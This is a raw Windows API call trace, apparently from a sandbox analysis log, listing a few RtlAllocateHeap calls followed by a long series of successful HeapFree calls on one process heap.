[0279.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6fe108
[0279.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6dc3e8
[0279.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d57a0
[0279.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6d12f0
[0279.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6d5f00
[0279.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6dc4b0
[0279.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d5de0
[0279.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6c1688
[0279.598] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d5f20
[0279.598] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dd0b0 | out: hHeap=0x6a0000) returned 1
[0279.598] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db7d8 | out: hHeap=0x6a0000) returned 1
[0279.598] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e6048 | out: hHeap=0x6a0000) returned 1
[0279.598] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d20c0 | out: hHeap=0x6a0000) returned 1
[0279.598] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e60a8 | out: hHeap=0x6a0000) returned 1
[0279.598] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e6128 | out: hHeap=0x6a0000) returned 1
[0279.598] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dbe48 | out: hHeap=0x6a0000) returned 1
[0279.598] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e60c8 | out: hHeap=0x6a0000) returned 1
[0279.598] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dc208 | out: hHeap=0x6a0000) returned 1
[0279.598] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cfd10 | out: hHeap=0x6a0000) returned 1
[0279.599] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dc528 | out: hHeap=0x6a0000) returned 1
[0279.599] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db6b8 | out: hHeap=0x6a0000) returned 1
[0279.599] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dc550 | out: hHeap=0x6a0000) returned 1
[0279.599] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fe258 | out: hHeap=0x6a0000) returned 1
[0279.599] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5e28 | out: hHeap=0x6a0000) returned 1
[0279.599] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5fa8 | out: hHeap=0x6a0000) returned 1
[0279.599] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5ea8 | out: hHeap=0x6a0000) returned 1
[0279.599] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dc028 | out: hHeap=0x6a0000) returned 1
[0279.599] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e6028 | out: hHeap=0x6a0000) returned 1
[0279.599] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dbf88 | out: hHeap=0x6a0000) returned 1
[0279.599] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cfd28 | out: hHeap=0x6a0000) returned 1
[0279.599] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dc0c8 | out: hHeap=0x6a0000) returned 1
[0279.600] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db778 | out: hHeap=0x6a0000) returned 1
[0279.600] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dc118 | out: hHeap=0x6a0000) returned 1
[0279.600] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fe6f0 | out: hHeap=0x6a0000) returned 1
[0279.600] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e6068 | out: hHeap=0x6a0000) returned 1
[0279.600] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e61a8 | out: hHeap=0x6a0000) returned 1
[0279.600] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e6168 | out: hHeap=0x6a0000) returned 1
[0279.600] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dbe20 | out: hHeap=0x6a0000) returned 1
[0279.600] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5ee8 | out: hHeap=0x6a0000) returned 1
[0279.600] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dc078 | out: hHeap=0x6a0000) returned 1
[0279.600] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cfd40 | out: hHeap=0x6a0000) returned 1
[0279.600] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dbf38 | out: hHeap=0x6a0000) returned 1
[0279.600] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db808 | out: hHeap=0x6a0000) returned 1
[0279.601] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dc1b8 | out: hHeap=0x6a0000) returned 1
[0279.601] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fe530 | out: hHeap=0x6a0000) returned 1
[0279.601] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e6188 | out: hHeap=0x6a0000) returned 1
[0279.601] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5e48 | out: hHeap=0x6a0000) returned 1
[0279.601] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5f08 | out: hHeap=0x6a0000) returned 1
[0279.601] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dc168 | out: hHeap=0x6a0000) returned 1
[0279.601] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e60e8 | out: hHeap=0x6a0000) returned 1
[0279.601] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dc2a8 | out: hHeap=0x6a0000) returned 1
[0279.601] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cfd70 | out: hHeap=0x6a0000) returned 1
[0279.601] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dc1e0 | out: hHeap=0x6a0000) returned 1
[0279.602] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db5f8 | out: hHeap=0x6a0000) returned 1
[0279.602] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dc230 | out: hHeap=0x6a0000) returned 1
[0279.602] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fe290 | out: hHeap=0x6a0000) returned 1
[0279.602] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5f28 | out: hHeap=0x6a0000) returned 1
[0279.602] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e6148 | out: hHeap=0x6a0000) returned 1
[0279.602] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5f48 | out: hHeap=0x6a0000) returned 1
[0279.602] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dc0a0 | out: hHeap=0x6a0000) returned 1
[0279.602] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5f68 | out: hHeap=0x6a0000) returned 1
[0279.602] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dc280 | out: hHeap=0x6a0000) returned 1
[0279.602] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cfc08 | out: hHeap=0x6a0000) returned 1
[0279.604] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dc050 | out: hHeap=0x6a0000) returned 1
[0279.604] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db988 | out: hHeap=0x6a0000) returned 1
[0279.604] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dc258 | out: hHeap=0x6a0000) returned 1
[0279.604] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fe5a0 | out: hHeap=0x6a0000) returned 1
[0279.604] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5f88 | out: hHeap=0x6a0000) returned 1
[0279.604] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5fe8 | out: hHeap=0x6a0000) returned 1
[0279.604] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e6008 | out: hHeap=0x6a0000) returned 1
[0279.604] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dc190 | out: hHeap=0x6a0000) returned 1
[0279.604] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e6088 | out: hHeap=0x6a0000) returned 1
[0279.604] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dbdd0 | out: hHeap=0x6a0000) returned 1
[0279.604] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf7d0 | out: hHeap=0x6a0000) returned 1
[0279.605] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dbfd8 | out: hHeap=0x6a0000) returned 1
[0279.605] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dbb08 | out: hHeap=0x6a0000) returned 1
[0279.605] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dc0f0 | out: hHeap=0x6a0000) returned 1
[0279.605] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fe5d8 | out: hHeap=0x6a0000) returned 1
[0279.605] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e6108 | out: hHeap=0x6a0000) returned 1
[0279.605] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5be8 | out: hHeap=0x6a0000) returned 1
[0279.605] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5c08 | out: hHeap=0x6a0000) returned 1
[0279.605] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dbe98 | out: hHeap=0x6a0000) returned 1
[0279.605] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5c28 | out: hHeap=0x6a0000) returned 1
[0279.605] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dc140 | out: hHeap=0x6a0000) returned 1
[0279.605] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf710 | out: hHeap=0x6a0000) returned 1
[0279.605] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dbdf8 | out: hHeap=0x6a0000) returned 1
[0279.606] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dbad8 | out: hHeap=0x6a0000) returned 1
[0279.606] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dbe70 | out: hHeap=0x6a0000) returned 1
[0279.606] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fe610 | out: hHeap=0x6a0000) returned 1
[0279.606] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5da8 | out: hHeap=0x6a0000) returned 1
[0279.606] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5c68 | out: hHeap=0x6a0000) returned 1
[0279.606] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5a48 | out: hHeap=0x6a0000) returned 1
[0279.606] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dbf10 | out: hHeap=0x6a0000) returned 1
[0279.606] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5ca8 | out: hHeap=0x6a0000) returned 1
[0279.606] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dbfb0 | out: hHeap=0x6a0000) returned 1
[0279.606] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf728 | out: hHeap=0x6a0000) returned 1
[0279.606] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dbec0 | out: hHeap=0x6a0000) returned 1
[0279.606] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db5c8 | out: hHeap=0x6a0000) returned 1
[0279.607] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dbee8 | out: hHeap=0x6a0000) returned 1
[0279.607] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fe680 | out: hHeap=0x6a0000) returned 1
[0279.607] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5a60 | out: hHeap=0x6a0000) returned 1
[0279.607] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5880 | out: hHeap=0x6a0000) returned 1
[0279.607] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5a80 | out: hHeap=0x6a0000) returned 1
[0279.607] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6edf70 | out: hHeap=0x6a0000) returned 1
[0279.607] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5820 | out: hHeap=0x6a0000) returned 1
[0279.607] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ee0d8 | out: hHeap=0x6a0000) returned 1
[0279.607] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf6b0 | out: hHeap=0x6a0000) returned 1
[0279.607] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dbf60 | out: hHeap=0x6a0000) returned 1
[0279.607] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db8f8 | out: hHeap=0x6a0000) returned 1
[0279.607] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dc000 | out: hHeap=0x6a0000) returned 1
[0279.608] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fe648 | out: hHeap=0x6a0000) returned 1
[0279.608] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5860 | out: hHeap=0x6a0000) returned 1
[0279.608] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5aa0 | out: hHeap=0x6a0000) returned 1
[0279.608] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d58c0 | out: hHeap=0x6a0000) returned 1
[0279.608] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ee128 | out: hHeap=0x6a0000) returned 1
[0279.608] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5ac0 | out: hHeap=0x6a0000) returned 1
[0279.608] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6edea8 | out: hHeap=0x6a0000) returned 1
[0279.608] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf638 | out: hHeap=0x6a0000) returned 1
[0279.608] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ede80 | out: hHeap=0x6a0000) returned 1
[0279.608] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db628 | out: hHeap=0x6a0000) returned 1
[0279.608] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6edf48 | out: hHeap=0x6a0000) returned 1
[0279.609] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fe808 | out: hHeap=0x6a0000) returned 1
[0279.609] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5960 | out: hHeap=0x6a0000) returned 1
[0279.609] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db898 | out: hHeap=0x6a0000) returned 1
[0279.609] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ee178 | out: hHeap=0x6a0000) returned 1
[0279.609] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fe7d0 | out: hHeap=0x6a0000) returned 1
[0279.609] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d59a0 | out: hHeap=0x6a0000) returned 1
[0279.609] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5ae0 | out: hHeap=0x6a0000) returned 1
[0279.609] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5b00 | out: hHeap=0x6a0000) returned 1
[0279.609] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ee0b0 | out: hHeap=0x6a0000) returned 1
[0279.609] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6c28f0 | out: hHeap=0x6a0000) returned 1
[0279.609] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6edef8 | out: hHeap=0x6a0000) returned 1
[0279.609] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf878 | out: hHeap=0x6a0000) returned 1
[0279.609] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6edd40 | out: hHeap=0x6a0000) returned 1
[0279.610] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6edf20 | out: hHeap=0x6a0000) returned 1
[0279.610] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fe840 | out: hHeap=0x6a0000) returned 1
[0279.610] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db838 | out: hHeap=0x6a0000) returned 1
[0279.610] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6edf98 | out: hHeap=0x6a0000) returned 1
[0279.610] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f4730 | out: hHeap=0x6a0000) returned 1
[0279.610] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6c2670 | out: hHeap=0x6a0000) returned 1
[0279.610] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6c26f0 | out: hHeap=0x6a0000) returned 1
[0279.610] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6c2730 | out: hHeap=0x6a0000) returned 1
[0279.610] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ee100 | out: hHeap=0x6a0000) returned 1
[0279.610] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fab78 | out: hHeap=0x6a0000) returned 1
[0279.610] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6edcf0 | out: hHeap=0x6a0000) returned 1
[0279.610] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf6c8 | out: hHeap=0x6a0000) returned 1
[0279.611] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6edd68 | out: hHeap=0x6a0000) returned 1
[0279.611] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6edcc8 | out: hHeap=0x6a0000) returned 1
[0279.611] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f4ae8 | out: hHeap=0x6a0000) returned 1
[0279.611] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db7a8 | out: hHeap=0x6a0000) returned 1
[0279.611] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6edde0 | out: hHeap=0x6a0000) returned 1
[0279.611] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f4768 | out: hHeap=0x6a0000) returned 1
[0279.611] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fa9b8 | out: hHeap=0x6a0000) returned 1
[0279.611] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fab98 | out: hHeap=0x6a0000) returned 1
[0279.611] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf110 | out: hHeap=0x6a0000) returned 1
[0279.612] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6edd18 | out: hHeap=0x6a0000) returned 1
[0279.612] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf190 | out: hHeap=0x6a0000) returned 1
[0279.612] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ee150 | out: hHeap=0x6a0000) returned 1
[0279.612] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf6e0 | out: hHeap=0x6a0000) returned 1
[0279.612] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ee1a0 | out: hHeap=0x6a0000) returned 1
[0279.612] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dba18 | out: hHeap=0x6a0000) returned 1
[0279.612] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6edfc0 | out: hHeap=0x6a0000) returned 1
[0279.612] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f4c00 | out: hHeap=0x6a0000) returned 1
[0279.612] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ceff0 | out: hHeap=0x6a0000) returned 1
[0279.612] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf090 | out: hHeap=0x6a0000) returned 1
[0279.612] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ceeb0 | out: hHeap=0x6a0000) returned 1
[0279.612] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ede08 | out: hHeap=0x6a0000) returned 1
[0279.612] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cef30 | out: hHeap=0x6a0000) returned 1
[0279.612] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6eddb8 | out: hHeap=0x6a0000) returned 1
[0279.612] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf650 | out: hHeap=0x6a0000) returned 1
[0279.613] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6edd90 | out: hHeap=0x6a0000) returned 1
[0279.613] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db9e8 | out: hHeap=0x6a0000) returned 1
[0279.613] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6eded0 | out: hHeap=0x6a0000) returned 1
[0279.613] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f4998 | out: hHeap=0x6a0000) returned 1
[0279.613] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf010 | out: hHeap=0x6a0000) returned 1
[0279.613] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cef50 | out: hHeap=0x6a0000) returned 1
[0279.613] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cef70 | out: hHeap=0x6a0000) returned 1
[0279.613] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ee010 | out: hHeap=0x6a0000) returned 1
[0279.613] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ceed0 | out: hHeap=0x6a0000) returned 1
[0279.613] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6edfe8 | out: hHeap=0x6a0000) returned 1
[0279.613] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf680 | out: hHeap=0x6a0000) returned 1
[0279.613] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ede30 | out: hHeap=0x6a0000) returned 1
[0279.614] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db868 | out: hHeap=0x6a0000) returned 1
[0279.614] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ede58 | out: hHeap=0x6a0000) returned 1
[0279.614] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f4848 | out: hHeap=0x6a0000) returned 1
[0279.614] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf1b0 | out: hHeap=0x6a0000) returned 1
[0279.614] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf0b0 | out: hHeap=0x6a0000) returned 1
[0279.614] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf170 | out: hHeap=0x6a0000) returned 1
[0279.614] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cff48 | out: hHeap=0x6a0000) returned 1
[0279.614] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cefb0 | out: hHeap=0x6a0000) returned 1
[0279.614] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d00d8 | out: hHeap=0x6a0000) returned 1
[0279.614] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf5f0 | out: hHeap=0x6a0000) returned 1
[0279.614] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ee060 | out: hHeap=0x6a0000) returned 1
[0279.614] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dbb68 | out: hHeap=0x6a0000) returned 1
[0279.615] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ee088 | out: hHeap=0x6a0000) returned 1
[0279.615] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f4810 | out: hHeap=0x6a0000) returned 1
[0279.615] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ceef0 | out: hHeap=0x6a0000) returned 1
[0279.615] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf070 | out: hHeap=0x6a0000) returned 1
[0279.615] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cee10 | out: hHeap=0x6a0000) returned 1
[0279.615] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cfe30 | out: hHeap=0x6a0000) returned 1
[0279.615] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cedd0 | out: hHeap=0x6a0000) returned 1
[0279.615] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cfe58 | out: hHeap=0x6a0000) returned 1
[0279.615] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf788 | out: hHeap=0x6a0000) returned 1
[0279.615] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d0290 | out: hHeap=0x6a0000) returned 1
[0279.615] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db688 | out: hHeap=0x6a0000) returned 1
[0279.615] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cfde0 | out: hHeap=0x6a0000) returned 1
[0279.616] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f4a08 | out: hHeap=0x6a0000) returned 1
[0279.616] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cedf0 | out: hHeap=0x6a0000) returned 1
[0279.616] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf0d0 | out: hHeap=0x6a0000) returned 1
[0279.616] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cef10 | out: hHeap=0x6a0000) returned 1
[0279.616] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d0100 | out: hHeap=0x6a0000) returned 1
[0279.616] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cee30 | out: hHeap=0x6a0000) returned 1
[0279.616] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d0128 | out: hHeap=0x6a0000) returned 1
[0279.616] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf740 | out: hHeap=0x6a0000) returned 1
[0279.616] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d0178 | out: hHeap=0x6a0000) returned 1
[0279.616] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cffc0 | out: hHeap=0x6a0000) returned 1
[0279.616] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f4b20 | out: hHeap=0x6a0000) returned 1
[0279.616] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dba48 | out: hHeap=0x6a0000) returned 1
[0279.617] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d0088 | out: hHeap=0x6a0000) returned 1
[0279.619] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f4880 | out: hHeap=0x6a0000) returned 1
